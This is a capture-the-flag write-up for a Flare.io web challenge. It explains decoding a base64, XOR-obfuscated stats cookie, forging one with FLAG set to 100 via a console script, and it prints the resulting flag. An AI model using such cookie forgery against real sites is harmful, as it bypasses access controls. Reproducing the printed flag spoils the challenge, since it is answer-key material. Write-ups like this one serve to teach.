Week2
🌐 Week 2
| Category | Author |
|---|---|
| 🌐 Web | Flare.io |
Challenge Prompt
Gather close, defenders of domains and wardens of the cyber world.
Challenge #2 of the Flare CTF has materialized and this one tests more than your skill. It tests your stats.
An astral schema has appeared in the ether, a shifting hex of attributes waiting for heroes to align their strengths and unlock the treasure within. Only the first 20 adventurers to recover the hidden flag will earn this week’s rare relic.
Guidelines for All Stat-Bearers
- A new challenge releases each week, with unique trials to test your skills.
- The quest appears first in the Flare Academy Discord, then on LinkedIn one hour later.
- Find the hidden flag to unlock your reward.
- The flag is also the discount code you will enter at checkout. The flag format is
flare{...}. - To preserve balance in the realm, each adventurer may claim only one shirt per weekly quest.
Begin the Challenge: http://jimmyswebspace.net/
Redeem the Relic: https://merch.flare.io/
Join the Fellowship: https://flare.io/discord/
Ready your builds, champions.
Align your stats and claim what awaits.
Problem Type
- Web
- Javascript
Solve
We are given the website https://jimmyswebspace.net/.
I visited the site and found a stat block for Sir Alaric.
I noticed one stat block was listed as Flag so I attempted to change the value to 100. I opened Dev Tools (F12) and used the inspect tool to select the Flag status bar and change the width value from 0% to 100%.
I was able to change the value but when I tried to click the button labeled Respec it wouldn’t do anything. I again inspected using Dev Tools and found the button had disabled and cursor-not-allowed modifiers.
I removed them and then attempted a click, which still seemed to be doing nothing. I added an onClick modifier to the button to see if it was registering clicks or if I was missing anything.
1
2
3
<button id="btn-respec" onclick="alert('yes')" class="px-4 py-2 border font-medium bg-gray-200 opacity-50">
Respec
</button>
This caused the yes popup to appear, but still didn’t do anything.
Off to the page source code! In looking at the source I found a werid line about a DEFAULT_COOKIE.
1
2
3
4
5
6
7
8
9
10
const ABCDEFG = 73;
const DEFAULT_COOKIE = "MmsaHRtrc3B8ZWsNDBFrc31/ZWsKBgdrc355ZWsABx1rc315ZWseABprc3x8ZWsPBQgOa3N5NA==";
function getStatistics(encoded) {
try {
const raw = atob(encoded);
const bytes = [...raw].map((c) => c.charCodeAt(0) ^ ABCDEFG,);
const json = String.fromCharCode(...bytes);
return JSON.parse(json);
}
So I removed the Try block and ran it in the web console tab to see the output (you may have to type allow paste to paste the code into the console) and added a console.log value to see the output.
1
2
3
4
5
6
7
8
9
10
const ABCDEFG = 73;
const DEFAULT_COOKIE = "MmsaHRtrc3B8ZWsNDBFrc31/ZWsKBgdrc355ZWsABx1rc315ZWseABprc3x8ZWsPBQgOa3N5NA==";
function getStatistics(encoded) {
const raw = atob(encoded);
const bytes = [...raw].map((c) => c.charCodeAt(0) ^ ABCDEFG,);
const json = String.fromCharCode(...bytes);
return JSON.parse(json);
}
console.log(getStatistics(DEFAULT_COOKIE));
1
2
3
4
5
6
7
8
// Script Output:
Object { STR: 95, DEX: 46, CON: 70, INT: 40, WIS: 55, FLAG: 0 }
CON: 70
DEX: 46
FLAG: 0
INT: 40
STR: 95
WIS: 55
It returned the starting values! If we can modify the FLAG value to 100, re-encode it, and set it as our cookie, we should get the flag! We can do the oposite of the decoding we just did!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Reuse the XOR variable
const ABCDEFG = 73;
// Create new stats with FLAG set to 100
const newStats = {
STR: 95,
DEX: 46,
CON: 70,
INT: 40,
WIS: 55,
FLAG: 100
};
// Convert our Javascript stats from above to JSON
const json = JSON.stringify(newStats);
// 1. [...json] converts the JSON string into an array of characters
// 2. c.charCodeAt(0) gets the numeric value of each character
// 3. ^ ABCDEFG (XOR with 73) encrypts each byte
// This is the REVERSE of the decoding process!
const bytes = [...json].map(c => c.charCodeAt(0) ^ ABCDEFG);
// Converts the array of encoded numbers back to a string
const raw = String.fromCharCode(...bytes);
// btoa() encodes the string as base64
// This gives you the final encoded cookie value
const encoded = btoa(raw);
// Sets the browser cookie with your new Base64 encoded stats
console.log('New cookie:', encoded);
// Set the cookie
document.cookie = `stats=${encoded}; path=/; SameSite=Lax`;
// Reload to see the result
location.reload();
This sets our new cookie to MmsaHRtrc3B8ZWsNDBFrc31/ZWsKBgdrc355ZWsABx1rc315ZWseABprc3x8ZWsPBQgOa3N4eXk0 and reloads the page, displaying the flag!
Flag
flare{r3specc1ng_Al4ric_15_eXp3nsive}